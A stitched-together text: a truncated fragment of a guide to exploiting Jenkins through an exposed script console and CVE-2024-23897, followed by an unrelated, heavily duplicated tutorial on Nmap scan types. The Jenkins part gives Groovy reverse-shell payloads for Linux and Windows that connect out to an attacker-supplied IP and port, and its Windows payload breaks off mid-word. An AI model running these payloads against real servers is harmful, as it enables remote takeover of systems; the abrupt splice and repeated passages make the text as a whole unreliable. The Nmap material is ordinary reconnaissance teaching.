Exploiting Jenkins / CVE-2024-23897 Often the script console is accessible without authentication due to misconfig on http://JENKINS_IP/script If you don't have access to script console and the version is vulnerable to CVE-2024-23897 , then exploit it to read files and get authentication credentials for Jenkins, (explained below) Groovy scripts can be executed from the script console. To get a reverse shell, execute the following script. For Linux, r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/YOUR_IP/PORT;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() For Windows, String host="YOUR_IP"; int port=PORT; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStrea
Nmap. One of the top scanning tool used in Cyber/Networking. There are plenty of scanning techniques that can be used in Nmap. This post is intended to provide a the basic overview on NMap scanning techniques.
1) Ping Scan [-sP]
This types of scan is used to detect which computers or devices are online, rather than which ports are open.In this, NMap sends an ICMP ECHO REQUEST packet to the destination system. If an ICMP ECHO REPLY is received, the system is considered as up, and ICMP packets are not blocked.If there is no response to the ICMP ping request, Nmap will try a "TCP Ping", to determine whether ICMP is blocked, or if the host is really not online.
A TCP Ping sends either a SYN or an ACK packet to any port (80 is the default) on the remote system. If RST, or a SYN/ACK, is returned, then the remote system is online. If the remote system does not respond, either it is offline, or the chosen port is filtered, and hence it won't be responding to anything. When you run an Nmap ping scan as root, the default is to use the ICMP and ACK methods.Non-root users will use the connect() method, which attempts to connect to a machine, waiting for a response, and tearing down the connection as soon as it has been established and thus it will result in a full TCP scan.
eg: #nmap -sP 192.168.1.1
A TCP Ping sends either a SYN or an ACK packet to any port (80 is the default) on the remote system. If RST, or a SYN/ACK, is returned, then the remote system is online. If the remote system does not respond, either it is offline, or the chosen port is filtered, and hence it won't be responding to anything. When you run an Nmap ping scan as root, the default is to use the ICMP and ACK methods.Non-root users will use the connect() method, which attempts to connect to a machine, waiting for a response, and tearing down the connection as soon as it has been established and thus it will result in a full TCP scan.
eg: #nmap -sP 192.168.1.1
2) Full Connect/TCP connect() Scan [-sT]
This type of scan will try to establish a full TCP connection and a 3-way handshake will happen. Hence the Full connect scan is noisy and the connection info will be logged by the IDS/Firewalls. If the scan result is open, then we can definitely able to connect to that particular port.
eg: #nmap -sT 192.168.1.1
eg: #nmap -sT 192.168.1.1
3) Stealth Scan/ SYN scan [-sS]
This type of scan wont establish a TCP connection. It will scan by sending a SYN flag packet and if the port is open, then a SYN/ACK will be send back as a response by the target machine, thus result in a half embryo connection. Since a full connection wont establish, the connection info will not be logged by the Firewalls/IDSs and hence it is widely known as Stealth scan. If a RST pack is received as a response, then probably the post is closed.
eg: #nmap -sS 192.168.1.1
eg: #nmap -sS 192.168.1.1
4)UDP scan [-sU]
Useful in very particular cases since most of the services uses TCP widely. UDP scan works by sending a UDP packet to the targeted port. If no response is received, then the port will be considered as Open | filtered. Filtered because some firewalls wont respond to the blocked UDP ports.If the port is closed, then an ICMP response(ICMP port unreachable error type 3, code 3) will be send by the target device.
eg: #nmap -sU 192.168.1.1
eg: #nmap -sU 192.168.1.1
5) TCP NULL [-sN], FIN [-sF], and Xmas scans [-sX]
Null scan (-sN) - Does not set any bits (TCP flag header is 0)
FIN scan (-sF) - Sets just the TCP FIN bit.
Xmas scan (-sX) - Sets the FIN, PSH, and URG flags, lighting the packet up like a Christmas tree.
If a RST packet is received, the port is considered closed, while no response means it is open|filtered.
The port is marked filtered if an ICMP unreachable error is received.
eg: #nmap -sN 192.168.1.1
#nmap -sF 192.168.1.1
#nmap -sX 192.168.1.1
FIN scan (-sF) - Sets just the TCP FIN bit.
Xmas scan (-sX) - Sets the FIN, PSH, and URG flags, lighting the packet up like a Christmas tree.
If a RST packet is received, the port is considered closed, while no response means it is open|filtered.
The port is marked filtered if an ICMP unreachable error is received.
eg: #nmap -sN 192.168.1.1
#nmap -sF 192.168.1.1
#nmap -sX 192.168.1.1
6)TCP ACK scan [-sA]
This type of scan uses the ACK flags. Unlike other scans, ACK scan is not used to determine whether the port is Open or Closed.It is used to map out firewall rule-sets, determining whether they are stateful or not and which ports are filtered.Stateful Firewalls, will respond with a RST packet as the sequence is not in order.
eg: #nmap -sA 192.168.1.1
eg: #nmap -sA 192.168.1.1
7)Version Detection [-sV]
Version Detection collects information about the specific service running on an open port, including the product name and version number. This information can be used in determining an entry point for an attack. The -sV option enables version detection, and the -A option enables both OS fingerprinting and version detection
eg: #nmap -sV 192.168.1.1
[Learn more and download the tool @ https://nmap.org/ ]
eg: #nmap -sV 192.168.1.1
[Learn more and download the tool @ https://nmap.org/ ]